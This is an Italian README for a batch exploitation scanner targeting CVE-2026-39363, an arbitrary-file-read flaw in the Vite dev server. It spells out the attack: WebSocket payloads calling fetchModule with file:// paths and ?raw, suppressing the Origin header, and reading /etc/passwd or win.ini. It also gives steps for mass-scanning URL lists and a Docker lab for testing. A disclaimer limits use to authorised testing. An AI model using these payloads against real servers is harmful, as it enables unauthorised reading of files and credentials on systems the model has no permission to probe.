
Scanner di vulnerabilità in batch per CVE-2026-39363 nel server di sviluppo Vite, che sfrutta il bypass della validazione dell'origine WebSocket per leggere file arbitrari tramite fetchModule con il protocollo file://.
Disclaimer: Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e a scopi di ricerca educativa. L'utente è tenuto a rispettare le leggi e le normative locali; la scansione o l'attacco non autorizzato di sistemi altrui costituisce un reato. L'autore non si assume alcuna responsabilità per usi impropri.
Il server di sviluppo Vite (6.0.0 ~ 6.4.1, 7.0.0 ~ 7.3.1, 8.0.0 ~ 8.0.4) non verifica l'intestazione Origin nel WebSocket HMR. Un attaccante può invocare fetchModule tramite l'evento vite:invoke, utilizzando il protocollo file:// insieme al parametro ?raw per aggirare la restrizione server.fs.allow e leggere file arbitrari dal server.
url.txt → http://host:porta
↓ analisi host + porta
↓
┌─ Step 1: tentativo ws://host:porta specificata
│ ├─ handshake WebSocket riuscito + exploit riuscito → vulnerabilità presente
│ └─ fallimento → se la porta specificata == 5173 → nessuna vulnerabilità
│
└─ Step 3: rilevamento host:5173 (solo se la porta specificata ≠ 5173)
├─ porta chiusa → nessuna vulnerabilità
└─ porta aperta → handshake WebSocket + exploit sulla 5173
├─ riuscito → vulnerabilità presente
└─ fallimento → nessuna vulnerabilità
pip install -r requirements.txt
Per attivare il proxy, rimuovere il commento dalle righe 26-27 dello script
# Per attivare il proxy, rimuovere il commento dalle due righe seguenti e impostare indirizzo e porta corretti
# os.environ["HTTP_PROXY"] = "http://127.0.0.1:8083"
# os.environ["HTTPS_PROXY"] = "http://127.0.0.1:8083"
Inserire gli URL target in url.txt, uno per riga:
http://192.168.1.100:5173
http://example.com
http://target.cn:8080
python cve_2026_39363.py
Terminale:
[*] Caricati 3 URL, scansione con 3 thread...
http://192.168.1.100:5173 vulnerabile (Linux)
http://example.com vulnerabile (Linux)
http://target.cn:8080 non vulnerabile
[*] Completato. 2/3 vulnerabili, tempo trascorso 3.2s
[*] Risultati salvati in result.txt
result.txt:
http://192.168.1.100:5173 (Linux)
http://example.com:5173 (Linux)
Ogni riga contiene il tipo di POC (
Linux/Windows), che identifica le caratteristiche del file letto con successo.
| Sistema target | File letto | Marcatore caratteristico |
|---|---|---|
| Linux | file:///etc/passwd?raw | root: |
| Windows | file:///C:/Windows/win.ini?raw | for 16-bit app support |
Supporta due formati di payload (tentati in ordine):
{"id":"send:0","name":"fetchModule","data":[file_path]}{"fn":"fetchModule","args":[file_path]}| Parametro | Valore | Motivo |
|---|---|---|
| Sottoprotocollo | vite-hmr | Requisito del WebSocket HMR di Vite |
| Origin | Invio soppresso (suppress_origin=True) | Vite rifiuta connessioni non-browser con intestazione Origin |
# Avvio
docker run -d --name vite-vuln -p 5173:5173 vulhub/vite:7.3.1
# Scansione
echo "http://127.0.0.1:5173" > url.txt
python cve_2026_39363.py
# Pulizia
docker stop vite-vuln && docker rm vite-vuln
D: Tutti i rilevamenti restituiscono "non vulnerabile"?
--host o server.hostWebSocket non sia disabilitato con server.ws: falseD: Output illeggibile su Windows?
D: Il file url.txt generato da PowerShell non viene analizzato?
utf-8-sig per saltare automaticamente il BOM